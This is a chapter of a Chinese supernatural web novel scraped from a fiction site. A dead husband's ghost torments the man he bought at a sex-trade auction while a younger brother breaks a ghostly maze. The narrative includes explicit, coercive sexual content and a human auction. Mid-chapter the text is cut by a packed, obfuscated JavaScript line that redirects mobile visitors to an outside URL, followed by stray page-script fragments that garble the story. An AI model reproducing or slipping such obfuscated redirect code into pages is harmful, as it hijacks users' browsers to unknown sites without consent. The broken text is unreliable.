文趣网 > 都市小说 > 涎玉怀珠 > 13.第 13 章
    凉意渐渐漫上山野,天空不见一丝云彩,迅速地进入了黑暗。

    庙还是那个庙,雷光闪烁骤然间破损了很多,梁上蛛网坛下灰尘,朱漆黯然,原本还算明净的莲花方塘里只有干枯发黄的根茎。

    与之相对的,两侧塑像仿佛活了过来,怒目圆瞪,直勾勾查探四方。

    方丈不见踪影,四周安静得只能听见他自己的呼吸。

    原本单一向外的甬道从四周延伸出无数分岔,在他的眼眶中抖动着、翻转着,一重嵌合一重。身后的主位神像消失了,只剩下一排排重复着的老旧石像。

    前方看起是平坦的道路,走起来却是在向下,空气渐渐变得森冷,仿佛行走在深邃的墓道中。墙壁上是褪色的壁画,巨大的黑蛇投影时隐时现。

    咔哒一声,其中一个塑像活了过来,扭动着脖子看向他。

    常人也许会害怕,宋时钦却不耐烦地皱起眉,眉宇间戾气横生。

    活了二十多年,好不容易有一个能单独和大哥相处的机会,这些鬼东西……!

    宋家二少爷宋时臣人在医院昏迷不醒,三少爷宋时钦失踪断联,再联系四少爷宋时弥惨死的传闻,社会舆论对宋家产生诸多猜测。

    集团还在运作,经济上的影响被压制到可控范围内。只是诸多传闻被包裹上豪门密辛争权夺利的幌子,引来无数侧目。

    有好事者甚至扒出了多年前的凶杀疑云。

    传闻上任家主宋闻柏买凶杀父。

    又传闻现任家主宋怀聿买毒杀父。

    总之,给人一种在宋家当爹没有好下场的印象。

    “我死了,你就对外说我是你父亲?”宋闻柏的声音阴恻恻的。

    空气安静,没收到回音。

    低头一看,宋怀聿原本薄薄的眼皮肿肿的,在他的注视下抱着被子很敷衍地张了张嘴,声音哑哑的。

    怀着孩子的人本来就有点嗜睡,更别提被一只鬼折腾了那么久,连救命都叫不出来了,爽到一定程度甚至趴着要吐,什么也吐不出来还被拖着脚踝拽回去。

    更糟糕的是腹中多出的孽种常常不安分,也经常欺负他。

    如此一来,宋怀聿接近一周都没能好好睡觉。

    他现在一听宋闻柏的声音就有反应,即使听见了也不想应,怕又被抓起来玩。

    还悄悄把被子拉得高高的,两只手攥着被子头,有点像个求饶的姿势。

    宋闻柏挑了挑眉:“装睡?”

    还自欺欺人地觉得鬼进不去被子?

    他伸手理开妻子的额发,又用拇指擦过他柔软的面颊。

    那张堪称诡艳的美人面被鬼吃得湿湿的,腮边都留了个牙印,眉头轻轻皱着,看起来可怜的要死。

    ……怎么还真睡着了。

    他做鬼太久,忘记人正常该有的休息时间,看见宋怀聿沉沉睡去的模样,才想起来自己这几天有多过分。

    不过——这并非宋闻柏一只鬼的错。

    这两天宋怀聿没少缠着他,猜也猜得到是怕厉鬼去找三个孩子的麻烦。

    真是无私,真是伟大……宋闻柏嘴角向下,目光冷冰冰的,一股没来由的怨恨让他周身散发凛凛黑气。

    扫表子,其实根本不是想救孩子吧?只是喜欢找草,为什么要装成一副多爱他们的样子?明明翻白眼的时候叫的是老公救命,不对吗?

    明明当初……是他主动对自己笑的,不是吗?

    四十年前,宋氏门下的欢晌庭尚未封禁,情色与金钱充斥在仿东方式样的木式建筑中,老宋家主带着独子宋闻柏熟悉名下产业,自然也包括这座销金窟。

    长身玉立的美人遥遥站在庭院正中,身边簇拥着各种各样漂亮的少男少女,而他身量高挑,穿着深色点花的仿色打褂制式长服,白皙脖颈从高领中探出,微微垂顿着,恰如玉兰含苞展枝,说不出的清丽端雅。

    伊人身上被天光打了层柔和的光,正垂看那些年纪尚小、因各种原因被卖入欢晌庭改造的可怜人身上,伸手摸着其中一人的脑袋。

    连一个眼神都没有分给来视察的东家。

    管事的会长说他叫玉奴。

    专用在拍卖会上作展示的漂亮玩意。

    傍晚,宋闻柏参加了拍卖会。

    展厅面积很小,容纳着条件严苛下筛选出的的高端用户,穹顶很高,灯光层次堪称完美,将台上数不尽的珍宝照得光彩熠熠,深浅染透。

    孔雀金、麒麟碧、石榴红……各色剔透的不世珍宝被放置在美人不着寸缕的身躯上,状似随意地堆砌,将肌肤遮挡得几乎看不见,只留下惹人遐想的起伏。

    每拍下一件,便露出一抹雪色。

    最低俗的欲望被金钱包裹后也显得高雅,台下衣冠楚楚,举牌价格一次次抬高,目光下流而殷切地看着深红绒毯上伏趴着的双花雀。

    那个被称为玉奴的美人懒洋洋地将脑袋搁在异形天鹅绒毯上,面色微微泛红,墨玉似的眼微眯着,明明被层层光晕聚焦渲染却仿佛远在云端。

    猝不及防的对视,像是没想到这里竟然会出现一个孩子,美人目光微微讶然,随即勾起嘴角露出堪称柔和的笑意,引得台下一片抽气声。

    宋闻柏始终绷着嘴角,面容冷漠。

    下一秒,他抬起手,声音无起伏:“我要他。”

    这位宋家通过基因编辑技术造出的完美继承人,自出生起便展示出极其敏锐的直觉,极尽自私冷漠,还是头一回想要什么东西,自然无人敢拒绝。

    从那天起,宋闻柏的身边多了个面容艳丽、温和娴静的哥哥。

    而现在,哥哥在他身边睡着,脸上、脖颈、胸口、腿根……身体内外,处处都是他留下的痕迹,乃至血脉交融,孩子都生了三个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732235|205512||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    宋闻柏埋首在他颈窝,感受宋怀聿被冰得微微抽气的呼吸。

    初遇时宋怀聿就已经是青年模样了,过了四十年也依旧是。

    自己却已经死了,血肉腐烂、白骨分裂,黑泥混杂着虫豸在黑洞洞的眼眶里钻食,灼痛不息,魂魄不宁,平生富贵权势全都化作齑粉,死二十年只三柱香。

    他记得自己是被杀死的,但记不清是谁,只剩下日复一日反刍中积攒起的滔天恨意。

    如果宋怀聿没有在第一天把家里所有人都赶出去,厉鬼能让整座宋宅糊上残肢沸血,绝不会到现在才死宋时弥一个。

    宋闻柏抚过熟睡之人的殷润的唇瓣,目光晦暗不明。

    其实做了鬼也没什么不好,人类会老、会病、会死,如果活着他总有一天会失去怀聿,但死了便能永远陪在他的身边。

    宋怀聿的脸苍白中带着红润,被折磨久了反倒淫艳,好像天生就该被鬼精滋养似的。

    在他的凝视下,纤长的眼睫抖了抖,虚虚睁开了眼。

    “不再睡会?”宋闻柏问。

    他语气平静得和从前阴恻恻的样子全然不同,几乎要让人以为他恢复了正常。

    宋怀聿松开手朝他靠了靠,轻轻道:“老公?”

    “嗯。”宋闻柏回应。

    “我们离开这里,好好生活,好吗?”宋怀聿问。

    厉鬼周身依旧缭绕着凶戾血光,只是浓黑的怨气在不知不觉中消散了些许。

    “好啊,”宋闻柏轻笑,尖锐的嘴角让人有些不安,“等我捉住害死我的人,我们会有新生活的。”

    他俯身在宋怀聿嘴角落下一个吻,不如从前那般重,只是轻轻叼着宋怀聿的唇肉,用冰凉的体温去感受他的柔润,像衔吻一片花瓣。

    宋怀聿的面色却悄然白了几分。

    于此同时,宋时钦在鬼打墙中循环了整夜。

    长久不受供奉的塑像已经成了孤魂野鬼的寄生地,一心只想汲取生人精血。

    即便处处谨慎,也难免挂了彩,从脖颈到腰被划伤一整道长口,鲜血淋漓,渗到青砖中。

    他目光沉沉,落到了那些鬼物想要拿到的东西上——

    宋怀聿交代的木匣,符纸被血浸透,上面的字符已然变得模糊。

    他隐在狭小角落中,打开了木匣,目光微微一顿。

    那是一把刀。

    被埋了数十年仍旧惨白锋利,在一瞬间显露出斑斑血迹,又在眨眼间消失。

    刹那间整个墓道在眼前劈分成两半,露出真实的道路,那些阴森森的石像脑袋齐齐掉落下来。

    鬼打墙,破了。

    远在宋宅卧房中的男鬼眯了眯眼,猝然抬头看向了远方:

    “宝贝,我好像快抓到害死我的人了。”

    宋怀聿僵硬地勾了勾嘴角:“……是吗。”